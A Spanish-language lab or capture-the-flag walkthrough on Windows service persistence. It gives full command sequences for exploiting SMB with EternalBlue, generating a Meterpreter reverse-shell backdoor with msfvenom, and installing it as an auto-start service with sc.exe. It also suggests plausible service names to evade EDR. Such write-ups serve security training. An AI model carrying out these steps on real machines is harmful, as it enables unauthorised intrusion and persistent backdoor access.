📡 ¿Qué es la Persistencia mediante Servicios?
En Windows, los servicios del sistema son procesos que se ejecutan en segundo plano y pueden configurarse para iniciarse automáticamente al arrancar el equipo. Un atacante con privilegios suficientes puede crear o modificar un servicio para que ejecute un payload malicioso cada vez que la máquina se reinicie, garantizando acceso continuo sin necesidad de explotar de nuevo la vulnerabilidad.
Esta técnica corresponde a la táctica TA0003 - Persistence del framework MITRE ATT&CK, específicamente la técnica T1543.003 - Create or Modify System Process: Windows Service.
Herramientas utilizadas
| Herramienta | Propósito |
|---|---|
| nmap | Escaneo de puertos y detección de servicios |
| Metasploit / EternalBlue | Explotación inicial via SMB |
| msfvenom | Generación del payload ejecutable |
| sc.exe | Gestión nativa de servicios Windows |
| multi/handler | Receptor de la conexión inversa |
🔍 Fase 1 — Reconocimiento
Objetivo
cat /root/Desktop/target
Escaneo inicial
nmap <IP>
Confirmar SMB activo
nmap -sV -p 445 <IP>
Verifica que el puerto 445/TCP esté abierto y el servicio SMB activo antes de continuar.
💥 Fase 2 — Explotación inicial
Lanzar Metasploit y explotar SMB
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Una vez ejecutado, obtienes una sesión Meterpreter con privilegios en la máquina víctima.
🧰 Fase 3 — Creación del payload y persistencia
Generar payload exe
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=<IP_atacante> LPORT=4444 \
-f exe > backdoor.exe
Subir payload a la víctima
upload backdoor.exe C:\Windows\Temp\backdoor.exe
Crear servicio malicioso
sc create BackdoorService binPath= "C:\Windows\Temp\backdoor.exe" start= auto
sc start BackdoorService
start= auto hace que el servicio arranque en cada reinicio del sistema. El espacio entre
start= y el valor es obligatorio en sc.exe.📶 Fase 4 — Configurar listener y verificar persistencia
Listener en el atacante
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
set LPORT 4444
exploit
Cuando la máquina víctima se reinicie, el servicio ejecutará automáticamente el payload y se conectará al listener.
Obtener la flag
cd C:\Users\Administrator\Desktop
cat flag.txt
📋 Flujo del ataque
1
ReconocimientoEscanear puertos y confirmar SMB activo en puerto 445.
2
ExplotaciónObtener sesión Meterpreter mediante EternalBlue.
3
PreparaciónGenerar payload con msfvenom y subirlo a la víctima.
4
PersistenciaCrear servicio Windows con sc.exe que ejecute el payload al arrancar.
5
Acceso futuroCada reinicio conecta automáticamente al listener del atacante.
6
FlagLeer flag.txt desde el escritorio del Administrador.
🧠 Conceptos clave
- sc.exe: Herramienta nativa de Windows para gestionar servicios del sistema.
- start= auto: Configura el servicio para iniciarse automáticamente en cada arranque.
- msfvenom: Generador de payloads en múltiples formatos (exe, elf, apk...).
- Persistencia: Un servicio malicioso garantiza acceso prolongado si no se detecta.
- Detección: Los EDR modernos monitorean la creación de nuevos servicios. Usar nombres plausibles reduce la visibilidad.